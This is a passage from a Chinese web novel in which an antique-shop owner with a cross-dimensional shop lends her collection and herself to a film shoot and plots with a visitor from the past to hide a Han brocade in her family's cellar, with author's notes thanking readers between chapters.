许萌眼珠子差点瞪出来，还是不敢想象眼前发生的事情。 萧妧妧核善微笑：“比起演戏，果然还是当投资人适合我，想用谁用谁，不想用谁就开了谁。” 她转身对季随说：“季导，下部戏定了吗？投一个亿够不够？我只要求不准用许萌。” 季随这人也挺促狭，一副感恩戴德的样子说：“够了，能遇上萧老板这么大方的投资人，是我们剧组的福气，以后多多合作。” 萧妧妧不管他这话是配合她还是真心这么想，反正她当真了。 许萌哑口无言，眼眶倏然泛红，她气疯了。 麦姐见事情已无转圜余地，对季随提出告辞，又像萧妧妧赔罪，拉着许萌离开。 整个剧组的人都在看热闹，等这小祖宗回过神来，说不定真要发疯。 “先别急着走啊，还有一件事要说说。 许萌你来之前没签保密协议吗？剧组信息随意发上网，这得赔偿吧？” 萧妧妧承认她就是故意折腾人。 季随闻言眉头紧拧，目光瞬间犀利起来。 麦姐惊呆了，不明所以看着许萌，语气严厉：“你把什么东西发上网了？” 平时大家吐槽剧组是草台班子，但有不少剧组管理非常严格，拍摄期间严禁流传出任何剧情、画面等未公布细节，电视剧稍好一点，电影剧组尤其在意这方面。 “我没拍什么，”许萌狡辩，话音带出一丝慌张。 她不仅拍了，还拍的视频发出去，当时只为满足自己的小心思，冲动之下忘记保密协议的事。 季随揉了揉额角，头疼。 汪导气得想骂娘，好不容易忙完，这下好了，又得重头开始。 “麦姐，这事有点严重了，后续有什么情况发生，我们只能按照协议走。”汪导不客气地说。 轻则赔偿，重则追究刑事责任，背上官司不可怕，可怕的是事情流传出去，许萌在业内的名声等于崩塌。 麦姐知道事情严重性，逼着许萌当大家的面把视频删掉，再道歉。 “季导，汪导，二位放心，我在圈子里这么久，规矩肯定懂的，今天是我对不住各位，改天我请几位吃饭赔罪。” 季导没给麦姐甩脸色，毕竟以后难保不会合作。 麦姐拉着脸色惨白要哭不哭的许萌离开，出了院子，麦姐没忍住咒骂一句。 回头见许萌抽抽噎噎，她赶紧打电话联系公司提前安排，防止那位萧老板下死手，顺带了解一下萧老板的底细。 许萌似乎没回过神，上了车不停喃喃：“不可能啊，萧妧妧一定在吓唬我……” 她始终不相信萧妧妧有能力封杀她。 麦姐连续拨出去几通电话把事情安排下去，终于寻到空档教训许萌。 “视频发在哪个群里了？里面都是什么人？翻出来给我看看。 还有你封杀萧老板的事，你们到底什么关系？今天给我讲清楚。” 许萌哆嗦着唇，迟钝掏出手机。 群聊消息不断增加，往99+奔，许萌现在不敢打开看，生怕萧妧妧在里面说什么。 麦姐一把抢过，划到顶端找出视频循环播放。 ………… “谢谢你啊，看不出季导的演技还不错。”萧妧妧神清气爽地说。 季随笑：“看多了，不会演也学会了。” 他没打听萧妧妧和刚才那个女孩的恩怨，拧眉望向古董铺犯愁。 萧妧妧吐吐舌，“这事因我而起，不过……” 她翻出视频给季随看一眼：“我看过了，她只对着我拍，一分钟的片段里只有我脏兮兮灰扑扑，命苦得很。” 季随仔仔细细看过一遍，悬着的心总算放下。 汪导也看了两遍，长舒一口气，还好还好，得救了。 季随：“你故意吓唬她的？” 萧妧妧耸肩，没承认也没否认。 汪导这时想起另一件事，“季导，明天开拍，现在半下午马上天黑，我们上哪联系人去？你有合作过的演员推荐吗？” 如果在影视城，演员意外来不了，路上拉一个就能顶岗，偏偏这里是月牙巷，从联系演员到赶来现场，至少耗费一天时间，非常紧急。 季随刚松开的眉头再次紧拧，这确实是个麻烦。 萧妧妧心思一动，眼眸锃亮，转身挤到两人中间，乖巧举手。 “我我我，我演贱人很有一套。” 汪导忍不住强调：“角色不是贱人。” 萧妧妧大惊失色：“不是吗？我看许萌演成那样，以为在演贱人呢。” 许萌的演技未免倒退得太厉害了吧。 季随：…… 季随想起什么，问：“我听昭昭说，你是电影学院毕业的，表演专业？” “对啊，和刚才那个叫许萌的一个班……”察觉周遭目光汇聚过来，眼神质疑，萧妧妧大声说：“我表演课成绩比她好太多，要不是她故意使绊子，我说不定留在演艺圈了。” 季随沉吟片刻，拍板道：“试试吧，对萧老板来说算本色出演。” 古董铺老板演古董铺老板，谁不说一句权威。 萧妧妧忍俊不禁，不仅把古董收藏借出去拍戏，自己也给借出去了。 【作者有话说】 感谢读者“謝”,灌溉营养液 +20 感谢读者“虫子太多好可怕”,灌溉营养液 +1 感谢读者“豆浆不好喝”,灌溉营养液 +5 204 第204章 ◎你会离开小卖部吗◎ 天黑之前,古董铺总算布置完成，完全符合季随的要求。 灯光打开，摄影师就位，提前拍摄部分镜头留做备用。 萧妧妧一直等大家陆续收工,检查过一遍才把院子锁上。 回到家不早不晚,张芸和萧大明的房间还亮着灯。 萧大明仍旧处于消沉情绪中,相反,摆脱吸血鬼亲戚的张芸容光焕发。 萧妧妧偷瞄一眼，放心的回去洗漱,顺便做点睡前运动，企图在上镜之前稍微瘦那么一点点。 久违的加入剧组拍戏,她必须以最佳状态面对。 累出一身汗后，洗头洗澡敷面膜,萧妧妧刚打算躺床上玩会手机，张芸鬼祟敲门进来。 “妧妧,你三叔的事情解决了吗？” 张芸趁萧大明看球赛,偷溜过来打听情况。 下午去买菜的时候她特意绕远,瞧瞧不石皮斋有没有继续打着自家幌子招摇撞骗。 不看还好,一看吓一跳,20平左右的铺子挤满人。 张芸以为是被骗的网友，正要怒冲冲过去找萧大光算账，忽然发觉不对，气氛不对。 店里挤了少数十七八人,各个凶神恶煞，堵住萧大光放狠话要钱。 张芸走近一点,戴上老花镜才瞧出来,竟然都是熟人——萧大光的债主们。 十几个人围上去别提多有气势了,两边看热闹的邻居根本不敢靠近，更别说稀里糊涂找错地方买东西的网友了，巴不得躲远。 萧妧妧犹豫了，不知道该不该说，她在爸妈面前的人设可不是这样的。 张芸笑眯了眼，幸灾乐祸：“萧大光不干人事遭报应了，我看好不少债主去催债，他们怕萧大光又躲出去，轮换在铺子里守着，硬熬到萧大光还钱为止。” 萧妧妧摸了摸鼻尖：“是嘛……他们没打起来吧？” “怎么可能没打，我听说差点把店砸了。”她笑呵呵说：“你六婶有办法，直接去隔壁找中介带上门，要求卖了铺子还钱。” 萧妧妧想笑不敢想，看不出来亲戚们的战斗力挺强悍。 “反正我看他这几天生意是做不成了，以后也难讲。 他那个儿子真不是东西，借了钱就跑，不如不生。” “说到你堂哥，我听说他被高利贷打进医院了好像，不晓得什么情况，你三婶也没好到哪去，脑袋打破了。” 萧妧妧咋舌，高利贷一如既往的凶恶。 她努努嘴，示意萧大明那边有什么反应。 张芸撇嘴：“他啊，难受着呢，老三打了几通电话来借钱，幸好他没答应。 要我说就是矫情，换成我甩下大包袱要放烟花庆祝的。” 嘀咕萧大明几句，张芸想起来什么，说：“乔迁宴定下了，我和你爸定了小区旁边的酒店，就在中秋那天中午，平时叫不齐人，正好大家聚聚，上午带亲戚去熙园看看，你中午直接去酒店汇合。” 萧妧妧以为爸妈选吉日是看黄历，最后还是看假期定。 “中秋不算吉日吗，除了国庆最大的吉日了好吧？”张芸：“我听你小姨说她认识好几个小伙子呢，这次重新给你介绍一个。” 萧妧妧闭了闭眼睛，打算装睡避开相亲的话题。 张芸没如她愿，拽着她胳膊晃：“别装傻，上次你表姑给你推了个研究生，回回问都说在聊、聊得挺好，你表姑找人一打听，你根本就没把人约出来见过，这都几个月了？” 萧妧妧飞快转移话题：“妈，我把古董铺借出去拍电影了，我顺带演个角色，明天要早起。” 张芸没好气道：“一说让你相亲你就装死，跟你爸一个样。敷敷敷，面膜敷了有什么用，不如早点睡实在。” 萧妧妧就差双手投降了，张芸翻了个白眼离开。 关门之前，她再三叮嘱：“平时*加班就算了，回来得早抓紧时间睡觉。” 萧妧妧连连点头，老老实实平躺。 咔哒的关门声传来，她又等了两分钟，听到爸妈房间传来开门关门的声音，萧妧妧一翻身，打开台灯玩手机。 下午忙个不停，群聊私聊的信息都没来得及看完。 先看群聊，班级群自许萌的视频之后热闹了好一阵，大家惊讶于许萌那么快又进组了，也惊讶于萧妧妧竟然混的这么惨。 直到许萌再次发了一长段话，希望大家不要传播视频，以免对剧组造成负面影响。 紧接着，萧妧妧的几个BF相继在群里发言。 “[截图][截图][截图]许萌你误会啦，剧组没有欺负妧妧，其实是季导的剧组借她的古董铺取景。” “妧妧真仗义，她说女一号后面会去店里拍戏，可以帮我要签名，嘿嘿。[截图]” “这么快就拍了吗？妧妧只跟我说她花了3000万投资季导的电影，原来是这部啊[截图]。” “不止投资吧，我听妧妧说，她还把家里珍藏的古董都借出去了。” 几个人在群里打配合，彻底戳破了许萌的心思。 许萌再没回复，群里除了刷新一排“卧槽”“牛逼”之后，再次沉底。 群聊看完，萧妧妧依次给几个好朋友发去大拇指的表情。 然后，萧妧妧把自己人仗钱势踢出剧组的事情一并当成瓜告诉了她们，没多久，几个人的小群里也刷起了“卧槽”“牛逼”。 BF蓉蓉：谁能想到，许萌竟然有人脉玩封杀这一套。 BF富婆：早知道是这样，我们下午就在群里撕她了，反正以后不在一个圈子混，谁怕谁啊。 BF乐乐：别说许萌了晦气，我们现在应该求妧妧包养！ 萧妧妧傻笑的时候，“求包养”三个字刷屏了。 萧妧妧：自己排一下班表，我全包了。 她回南市经营小卖部的时候，好朋友们各自给她转了一些钱，嘴上说入股，其实就是帮她应急。 萧妧妧计划等她们生日的时候把这笔钱算进去，给她们一个大惊喜，现在看惊喜不一定要等到生日。 她从空间里扒拉一通，找出几只翡翠手镯，笑得贱兮兮。 和好朋友们插科打诨过后，时间萧妧妧趁离12点还有几分钟，加快速度回复了几条未读消息。 其中一条来自田齐，算好消息，展览开始一周，莲花头冠的复刻品卖出去了1000份。 那就是……3888000！ 冰箱贴数据太过零碎，一周统计一次，目前只有一个大概数据，大约卖出去8000份。 萧妧妧不太清楚成本怎么算，光看售出的数量，比想象的多多了。 田齐：可惜没赶上暑期旅游高峰，否则能卖得更多。 萧妧妧嘿嘿傻乐，给田齐发去一个欢呼的表情包。 卖得越多她赚得越多，躺着数钱的感觉真棒啊。 乐着乐着，右上角的时间跳出四个0，萧妧妧摘了面膜洗脸，踢踢踏踏回床上关灯睡觉。 第二天凌晨4点不到，萧妧妧打着呵欠起床。 洗漱过后她甚至没敢吃太多早饭，飞奔向小卖部开门。 她以为自己来得挺早，场务和灯光摄影组已经到了一半，等在巷子口。 化妆师慢一步来，带着服装道具准备妆造。 人多手杂嘴杂，萧妧妧特意找来孟甜甜守在古董铺里坐镇。 化妆时间漫长，她正好用来背台词。 幸好戏份不算多，台词也简单，来回读几遍已经滚瓜烂熟，剩下时间则是揣摩角色。 化妆到一半的时候，大约5点出头，季随和汪副导来了，整个剧组像上了发条一样，井然有序的动起来。 化完妆5点半，天还灰蒙蒙，季随戴上墨镜，一手拿着对讲机，岔开腿坐在监视器前。 萧妧妧瞄一眼，这么看起来确实像导演了，平时的装扮和文艺摄影师似的。 她按照副导的指引，在春带彩紫檀屏风前的紫檀嵌象牙龙纹椅上坐下，等灯光师摄像师就位。 为保证拍摄顺利，汪导特意凑过来讲戏，明确告知季随想要的感觉。 萧妧妧听了一耳朵，眼珠子乱转。 “电影注重视觉传达，这一段没有台词的画面想要表现古董老板的豪奢、神秘、不羁、自得……”萧妧妧吸一口气缓缓，“总之，靠演虽然可以实现一部分，但我觉得可以靠道具实现剩下大部分。” 汪导瞪着眼睛看她，不知道这是什么意思。 季随的声音从扩声的对讲机传出来：“明老板有什么想法？” 为使演员入戏，进组后大家便称呼演员角色名，明老板就是萧妧妧要演的角色。 萧妧妧一时没反应过来，顿了两秒，笑眯眯提议：“喝水的茶杯太普通，不符合明老板豪奢的设定。” “剧本设定时间是夜里，明老板依靠龙纹椅上听戏，还不够闲适，也表达不出她的自得。” “明老板神秘富有，能有渠道弄来博物馆文物，身上的配饰也该换一换。” 汪导瞥向季随，季随沉吟一会，问：“你打算怎么做？” 萧妧妧眨眼微笑。 ………… “慢点慢点，别砸了缸。” “化妆师呢？来，帮个忙。” “茶叶泡好了吗？快快，兑点凉水倒进去。” 场务们一通忙，总算把萧妧妧提议的道具搬了来。 萧妧妧重新坐回龙纹椅上，两脚泡在价值千万，并且至今冒着大蒜味的青花大缸里，水波声阵阵。 她一手拿着朱可心茶壶，对嘴喝茶，一手拿着象牙团扇轻摇。 昏黄灯光亮起，龙石种帝王绿手镯在腕间肌肤投射出幽绿光芒，随着执扇的手轻轻摆动，戴在食指上有龙眼大小的黄钻折射出刺眼火彩。 灯光师不自觉眯了眯眼，又去看萧老板脖颈上那串帝王绿塔珠链，以及盘起的发包里那根通体碧绿缠绕了金色灵蛇的发簪。 果然富贵又神秘，还很不羁。 谁家正经人会拿嘉靖青花鱼藻纹缸泡脚、会拿中看不中用的象牙扇扇风、会拿朱可心茶壶对嘴喝茶啊！ 场务和摄像师们一肚子槽想吐，但看季随闪亮的眼睛，满意的神色，老实准备开拍。 第一场戏一条过，萧妧妧回去换妆造。 临走之前，她满脸期待的说：“下一场戏是在白天，和买家谈生意，珠宝该换换啦。” 季随秒懂，摆摆手，决定随她去了。 萧妧妧掏出来的东西都是值钱货，比起剧组借来的珠宝好了不止一个档次，硬生生把明老板藏在幕后的神秘大富婆人设拔高了一个阶级。 季随看出来了，萧妧妧比起拍戏，更享受把自己的藏品展示出来。 就像那些有名气的藏家开办自己的艺术展、博物馆，萧妧妧则是通过电影来表达。 萧妧妧没有否认，只笑嘻嘻道：“这么多好东西自己看久了没劲，就是想给大家分享一下。” 季随默了默，如果把分享变成炫耀，她话里的可信度更高。 萧妧妧笑了笑，没反驳他这一说法。 说炫耀其实也对，反正根本目的是想借机给她的收藏品们抬抬身价。 收藏品有了身价和知名度，收藏它们的藏家自然而然的跟着涨身价。 萧妧妧承认，她就是在不遗余力的推销、展示自己的收藏。 第二幕戏，萧妧妧换下翡翠，戴上了看似简约低调，实则无声炫富的海螺珠项链、戒指、耳坠。 第三幕戏，随着剧情发展，黄加绿环环相扣以及宝石匕首相继出场，环环相扣戴上脖颈，匕首随手丢在龙纹椅上。 第四幕…… 第五幕…… 萧妧妧过足戏瘾的同时，也过足了戴珠宝首饰的瘾。 第一天拍摄结束，萧妧妧晕晕乎乎，走路都在发飘。 第二天还有两场戏，需要早起化妆、和电影的几个主角搭戏，萧妧妧没回家，选择在189号睡一晚。 送走剧组工作人员，大门落锁，柳如烟、孟甜甜相继冒出来。 “看不出来啊，你竟然会演戏！”这是柳如烟。 “什么时候能拍完？你不知道我在旁边看得心惊胆战，就怕他们砸了什么东西。”这是孟甜甜。 萧妧妧笑：“还有两天吧，很快的。” 她转头对柳如烟说：“我没告诉过你吗？我学的表演专业，本来就是演戏的。” 柳如烟新奇不已，抱着萧妧妧胳膊追问：“是短剧吗？我什么时候可以看到？你会打别人耳光吗？” 萧妧妧哭笑不得。 孟甜甜突然问：“妧妧，你会回去演戏吗？” 她更想问“你会离开小卖部吗”，话到嘴边拐了个弯。 萧妧妧一愣：“你怎么这么问？” 柳如烟没深想，欢天喜地说：“演戏好啊，我要看你打别人耳光。” 孟甜甜按住傻乐的柳如烟，继续道：“我今天在外面看你演戏了，和平时的你完全不同。” 用俗气一点的话来形容，她在萧妧妧眼里看到了热情。 萧妧妧瞬间领悟了她藏在更深处的意思，语气无比肯定。 “不会。”她顿了顿，“经营店铺很有意思，和你们在一起也很快乐，能做有意思的事情，和有意思的人相处，顺带赚到可以让我自由的财富，已经是人生中很难得的幸运了。” 以为自己不会再演戏的时候，萧妧妧觉得天塌了，后来小卖部经营起来，各个位面的客人来来往往，萧妧妧觉得天又自己支棱起来了。 “我现在的目标可是成为知名藏家，回去演戏等于走弯路。” “喜欢演戏不一定要投入其中，我可以当投资方，偶尔进去演个小角色过把瘾，足够了。” “话又说回来，我现在可是好不容易把瓷器、翡翠的知识点学完，已经到了能靠自己判断好坏真伪的水平，又认识了好多有名的没名的收藏家，怎么可能说放弃就放弃。” 萧妧妧摇头晃脑，讲述自己对现在的生活有多满意。 柳如烟听到这里也反应过来，松了一口气。 孟甜甜更是如此，放下心中的大石头。 幸好，幸好萧妧妧没说什么“我走了你们怎么办”这样的话。 她是打心眼里认定了自己小卖部老板的身份，而不是为了任何人，委屈自己奉献牺牲。 萧妧妧怕她们多想，笑着反问：“你们只看到我演戏的时候热情，难道没见到我赚钱的时候更热情吗？” 说到赚钱，两人不约而同想起萧妧妧抱着计算器斤斤计较的模样。 对视一眼，两人“噗”一声喷笑出来。 确实赚钱的时候更热情。 【作者有话说】 205 第205章 ◎老天奶还是挺照顾她的◎ 萧妧妧要早起拍戏,两人没好意思拉着她吃宵夜追综艺。 进屋之前，外卖刚好送到，萧妧妧眼巴巴盯着桌上的卤鸭货、酸辣粉、烤串……流口水。 萧妧妧馋疯了，她这一天几乎没怎么吃过正经食物。 躺在床上,闻着外面飘进来的酸辣油脂香气,以及隐约的闷笑声,萧妧妧强迫自己入睡。 当演员有什么好,吃不饱吃不好，赚得没她一天的营业额高,还得挨骂。 才一天呢，她就忍不了,果然当小卖部老板更适合她。 萧妧妧一边吞口水，一边计划第二天的菜单,在纠结吃螺蛳粉还是酸辣粉的过程中，凄惨睡去。 依然是凌晨4点不到起床,萧妧妧住在189号省下不少时间,打开门没多久,剧组的工作人员相继赶来开工。 然后就是化妆,巩固台词,准备开拍。 因为今天有合作演员，萧妧妧有点紧张。 当然，紧张原因不是戏，而是要在拍戏同时兼顾店里的古董,防止出现意外摔了砸了。 萧妧妧提心吊胆，对手演员比她更紧张,硬邦邦站着根本不敢乱动。 导演一喊停,别说演员,摄像师灯光师收音师等等工作人员齐齐松了一口气，谨慎小心收了设备，缓慢有序的退出，绝不在店铺里多待。 看大家紧张得要死，萧妧妧背过身偷笑。 下午，属于萧妧妧的戏份基本拍完，剩下是几位主演在古董铺里的戏份。 一人至少三四场戏，4、5个主演少说要两三天。 好在季随虽然挑剔，但不会故意折腾人，有一条能用立刻进行下一幕。 拍完古董铺戏份的演员甚至来不及和大家寒暄客套，马上提起裙摆赶去月牙巷另一组拍戏。 今天出场搭戏的演员多，个个貌美英俊，柳如烟说什么都不愿意躲在绿幕后偷看，大喇喇守在188号院子里围观，兴奋之情溢于言表。 萧妧妧只庆幸柳如烟没闹着要去演一出。 “我才不演呢，本公主的玉容是他们花钱就能看的吗？” 柳如烟故作娇俏的捧着脸蛋，冲她眨巴眼睛。 萧妧妧沉默了，挪开视线，若无其事地盯住古董铺。 柳如烟对她的反应很不满，皱皱鼻子，傲娇地哼了一声。 随着一声声“action”“cut”，灯光来回切换，今日份拍摄任务也圆满完成。 晚上收工后，萧妧妧点来一堆重口味的垃圾食品，加入追综艺的队伍。 三人笑作一团的时候，苏娇娇来了，她还带来了好消息。 “妧妧，我找到你家了。” 苏娇娇觉得自己这句话有歧义，重新道：“不是家，是188号。” 萧妧妧瞬间收起傻乎乎的笑容，摘了一次性手套凑过去。 “没找错吗？我听我爸妈说月牙巷翻修过好几次，他们小时候住的和现在完全不是一回事。” 萧妧妧知道这事不容易办，拜托苏娇娇后没想过短时间内完成，结果…… 萧妧妧不可置信地再次确认：“娇娇姐，你用了多长时间找到的？” 苏娇娇回想一会：“三天？不到四天吧，还挺容易的。” 萧妧妧听到她的总结评价，连忙追问过程。 苏娇娇：“算我运气好，你说你家附近有城门，我就沿着城门进去找，你还说对面街道后面有条河，我一对比，刚好找到一片区域。” “刚开始我也不敢信会那么顺利，188、哦，我那里叫92号，原先是一座大的宅院，是宅院主人家落魄了，拆了几堵墙分成小院卖出去，买家就是小院现在的房东。” “我找过去的时候，92号小院已经租出去三间屋子，我当时看院子可陌生了，直到我看见它。” 萧妧妧顺着苏娇娇手指方向看过去，一墙之隔的188号，高达6、7米的百年木绣球在风中张牙舞爪。 那确实很巧了，靠木绣球锁定准确地址。 萧妧妧家的这株木绣球树龄有百来年，曾经有人要花十万买树，爷爷没同意。 后来月牙巷成了南市著名的文化街区，她家的木绣球树跟着小火了一把。 它太高了，树冠像花束一样散开，到了开花季节，青青白白的颜色在一排排古朴小院中格外显眼，再配合景区种植的其他爬藤类花卉，一到春夏，188、189号所在的巷子会有无数游客前来拍照打卡。 “我对比过你给我的老照片，看起来差不多，绝对不会错。”苏娇娇骄傲挺起胸膛。 萧妧妧踏实了，能找对地方就好。 “我不知道你打算怎么安排，暂且先租下一间屋子……”苏娇娇比对一下，继续说：“应该是你这里的库房位置。” 苏娇娇好奇打听：“地方找到了，这会你总能说要做什么了吧？” 萧妧妧把装有汉锦直裰的包袱拿来，努努嘴：“我在想，这东西要藏在院子的什么地方，才能保存到百年后的今天，让我拿到手。” 苏娇娇不懂她为什么要绕这么大一个弯子，照做就是。 然而在咀嚼明白萧妧妧这一番话背后的逻辑，苏娇娇大脑嗡的一下，不受控制发散思维。 “等一下！”苏娇娇突然喊道，声音中透露出一丝急切和惊讶，“我在我那里藏下了东西，你这里可以把东西挖出来？” 苏娇娇的眼睛越睁越大，脑海中无数念头诞生，应接不暇。 对啊，萧妧妧所处的现在，是她的未来，所以古董可以顺利得到认可。 萧妧妧点头承认：“只要藏得足够隐蔽和安全，按理说是这样。” 苏娇娇恍然大悟：“你上次说的什么，同一个位面，不同节点？原来是这个意思啊。” “娇娇姐，你怎么才发现？” 萧妧妧笑容戏谑，看来她反应还算快，后知后觉的另有其人 苏娇娇没好气的拍她胳膊，嗔怪道：“你怎么也不提醒我。” 她觉得自己像傻瓜，这么明显的事情居然现在才想通。 萧妧妧嘿嘿笑：“你现在知道不算晚。” 苏娇娇急忙道：“那我那里发生的一切，你这里应该都能查到资料吧？有没有详细一点的记载，比如……” 来了来了，萧妧妧最不敢面对的事情来了。 她叹气，拿出早已准备好的资料递过去。 “娇娇姐，你只可以在这里看完，不能带走。”萧妧妧语气严肃：“我不知道这么做会不会对历史产生什么影响，甚至不能保证如果你参与进去，能不能改变什么，但……如果它们能帮到你的话。” 苏娇娇接过厚厚一沓文件，心脏剧烈跳动，差点从嗓子眼出来，头也晕，眼也花，腿脚发软。 她明白萧妧妧的意思，她所谓的改变，是成就眼前记录的历史，还是会变得更好、更糟，没人能担保。 苏娇娇接过它们，像接过了一个沉重的重担。 她热切地盯着手里一沓资料，紧紧抱进怀里。 “我会考虑清楚的，”苏娇娇苦笑着说：“我已经看到了未来，远超我想象的美好。说实话，我现在还真不敢轻举妄动。” 萧妧妧可以理解，就像游戏通关达成完美结局，带着这样的认知重新玩一次，想避开曾经踩过的坑，找到更好的选项，却又惧怕新的选择带来新的结局，更怕新的结局远不如之前的完美。 苏娇娇深呼吸，平复情绪：“不说这些了，资料我暂时先不看，我们商量一下解决汉锦的事。” 萧妧妧环顾院子，实在想不到藏在哪一处。 “不是说木绣球有百年了吗？要不我们把东西藏在树下？” 萧妧妧赶紧摇头：“木绣球的花坛中途翻新过两次，而且经常浇水，对汉锦保存不利。” 苏娇娇拧眉，这可真把她难住了。 萧妧妧挠挠头，不好意思地说：“其实还有一件更难的事，我想让我的爷爷？太爷爷？随便哪一个，可以站在汉锦旁边留个合照。” 苏娇娇了然接话：“……传承有序？” 照片相当于一个证明，证明这件汉锦从前就在萧妧妧家，来源清晰。 萧妧妧点头。 苏娇娇毫不迟疑的应下：“我回头打听打听，旁边几家是不是有姓萧的。” 萧妧妧补充：“这事不好办，办不成也不碍事。” 她爷爷、太爷爷那时候具体住在哪真不好说，萧妧妧只知道月牙巷是爷爷从小住到大的地方。 不在92号，可能在72号，或者32号。 苏娇娇不以为意：“我都找到月牙巷了，能有多难。” 最难的是怎么藏汉锦。 两人直叹气，在188号大小几间房里来回钻。 不说前面几十年有没有翻修过，就萧妧妧接手院子以后，小范围的加固了两次。 萧妧妧一琢磨，这事必须得问问萧大明。 她当即掏电话拨给老爸，借口院子维护询问哪里可以改造。 “院墙不用管，前几年加固过，结实着呢，” “你说房梁啊，整根替换过，不会断的。” “屋顶？那更没问题了，年初我找人检查过，不漏雨吧？” 萧妧妧不问还觉得有希望，一问倒好，哪哪都做过改动，藏哪都有可能被发现。 苏娇娇帮不上忙，便道：“你先琢磨，我回去试试。” 萧妧妧没问试什么，隔了十分钟左右，没等她没想出什么好办法，苏娇娇又回来了，猫着腰在木绣球树下寻找。 “妧妧你看！” 只找了一会，苏娇娇惊喜欢呼传来。 萧妧妧一头雾水，凑过去看。 苏娇娇指向其中一根较粗的树干，“看，这是我刚才回去在主枝上刻的萧字。” 萧妧妧看不清，手机打开灯光，整个人攀上树干。 “还真是……” 萧妧妧分辨一会，树皮上丑陋的像瘤一样的变形印记，确实是萧字。 小测试成功验证了她们的猜想，两人顿时振作起来。 苏娇娇拍拍她肩膀：“不着急，慢慢想，我回去找你爷爷。” 萧妧妧从萧大明那要来一张爷爷的老相片，目送苏娇娇离开后，决定继续向萧大明打听。 188号院子她住的时间不长，肯定不如从小在这院里长大的萧大明熟悉。 萧大明难得有机会说起小时候的事，叭叭个不停，说到一半才想起来问： “你今天怎么问这么多，听你意思像是把院子拆了重建似的。” 萧妧妧敷衍回应：“仓库放不下了，打算重新规划一下，没想好怎么动手。” 萧大明哈哈笑，很高兴见到自家生意红火，红火到仓库不够用。 笑完，他帮着一起出主意：“不行咱们去外面租仓库吧，不然把客房改成仓库也行，反正你那个客房不待客，留着没用。” 萧妧妧支吾说再想想。 这时，萧大明突然想起什么，一拍大腿说：“要不你把地窖拆了当仓库用吧，我记得下面挺大的，能放不少东西呢。” 萧妧妧一脸懵：“咱家还有地窖？” “怎么没有，这院子以前是个大户人家在住，哪能没有地窖。 我小时候掉进去好几次，你爷爷怕我锁里面出不来，后来把地窖封起来了。” 萧妧妧不知道地窖能不能派上用场，抱着试试的心态追问：“爸，地窖在哪啊？我要怎么进去？” 萧大明：“好找呢，就在仓库里，里面不是有个红木柜子吗？挪开就能看到门。” 说到红木柜子，萧妧妧有印象，开小卖部前她想把柜子拖出去卖掉，房间重新布置一下当自己的卧室。 张芸没舍得，说东西旧是旧了点，但料子是红木的，好东西，哪怕自己用不上也要留着，以后等她结婚找师傅改成别的家具。 张芸不让扔，萧妧妧自己又懒得挪它，索性放弃改卧室的想法，直接当库房用。 萧妧妧挂断电话，当场举着手机去仓库，挪走里面库存商品，很快显出落灰的四开门大红木柜。 柜子装空间，消失的那一刻，石砖地面出现一长方块形的板子。 萧妧妧没想到自家竟然真的有地窖，找来撬棍撬开木板，露出长约一米的长方形黑洞，石砖阶梯延伸向深处。 萧妧妧有点害怕，没敢立刻进去，摇来孟甜甜和柳如烟帮忙。 柳如烟当成探险行动，躲在两人身后大惊小怪。 本来只有一点怕，有柳如烟营造氛围，萧妧妧更怕了。 等里面空气流通一阵，孟甜甜打头阵，率先拿上灯下地窖。 地窖不大，十来平的样子，空荡荡，只有一股阴凉的霉味，高度只够萧妧妧勉强站直，扎丸子头的话就要碰顶了。 萧妧妧环顾一圈，顿感失望，准备上去的时候，意外注意到石砖阶梯下面有一块空出来的区域。 她连忙招来苏娇娇，请她去92号租下的屋子里看看有没有同样的地窖和楼梯脚。 苏娇娇正好在和邻居打听事情，没立刻离开，收到萧妧妧召唤，弄清楚怎么回事，马上回去确认。 “有，地窖藏在床架子下面，进出挺方便。” 得到苏娇娇肯定的答复，萧妧妧动起了小心思。 就是不知道下任租客会不会发现这里。 苏娇娇不觉得这是个问题：“大不了我租下它，一直租到房东把院子卖出去为止。” 她又说：“对了，我打听到房东姓鹿，租户称她鹿太太，不过她夫家姓萧，或许和你家祖上有点关联？” 萧妧妧不确定这位鹿太太是不是萧家的祖奶奶，她给萧大明打电话询问，连萧大明也说不上祖奶奶的姓氏。 她换了个问法：“你和我妈每年去扫墓，没见过姓鹿的墓碑吗？” 萧大明恍然：“那我想起来了，你祖奶奶是姓鹿，今年清明我去拔过草来着。” 那就没错了。 确认院子的产权，萧妧妧放心了，生怕中间哪个环节出点纰漏，汉锦等于白送人。 苏娇娇跟着放下心：“这么说来，我只要找到房东太太，就等于找到你爷爷。 你爷爷应该年纪不大，哄着他和汉锦拍张照片不难。” 听苏娇娇这么一说，萧妧妧也觉得难度不大。 老天奶还是挺照顾她的。 既然找到了方法，苏娇娇准备尽快行动起来，萧妧妧二话不说把汉锦交给她带回去，拍完照片再做密封储存。 解决心头“大患”，萧妧妧浑身轻松，蹦蹦跳跳回去吃夜宵。 【作者有话说】 读者“一个人。”,灌溉营养液 +10 读者“豆浆不好喝”,灌溉营养液 +2 读者“藏月水寒”,灌溉营养液 +42 读者“藏月水寒”,灌溉营养液 +20 读者“一觉睡到自然醒”,灌溉营养液 +10 206 第206章 ◎这是……给她弄来一盏宝莲灯？◎ 又是早起的一天,前一晚过于放肆，以至于萧妧差点耽误大家开工。 好在没有她戏份，孟甜甜接手监督的任务后，萧妧妧果断回去补觉。 这样日子没有持续多久,剧组进驻的第六天,古董铺戏份全部拍完,剧组十几号人着急转去其他拍摄点。 当然,做为电影关键道具的宝石匕首、环环相扣、墨翠手镯、汝瓷杯等也需要出外景。 剧组那里已经安排妥当，会集中拍摄古董的戏份,最晚第二天晚上送回。 因为几件古董价值高昂且稀有，剧组不惜花重金请了安保团队。 萧妧妧把它们送出去前忧心忡忡,看到安保团队配了三辆车，其中两辆当幌子,十分重视古董的运输，心里那点忧虑全没了。 送走剧组,萧妧妧看着稍显空旷的小院,一时间还有点不适应。 懒得亲手打扫,全靠系统的一键清理偷懒,灰尘垃圾消失,萧妧妧才开始收拾古董。 摆在铺子里的昂贵古董重新打包装箱收进空间，原先摆在铺子里售卖的普通古董拿出来替换上去。 这一忙就是一上午，午饭随便扒两口，又忙了半个下午才勉强收拾齐整。 在之后是为黄金周的上新做准备,翡翠饰品和宝石饰品分门别类塞进展示柜里。 全部收拾完，萧妧妧叉着腰环顾店铺,突然明白了季随的严苛挑剔。 架子的陈列不变,只有架子上的古董变换,拍电影时看着十分有质感，大家都贵贵的感觉，现在经她手替换后，看起来就是普通古董铺的样子。 “妧妧，有你的快递。” 听到院中孟甜甜的呼喊，萧妧妧来不及感叹更多，转身离开。 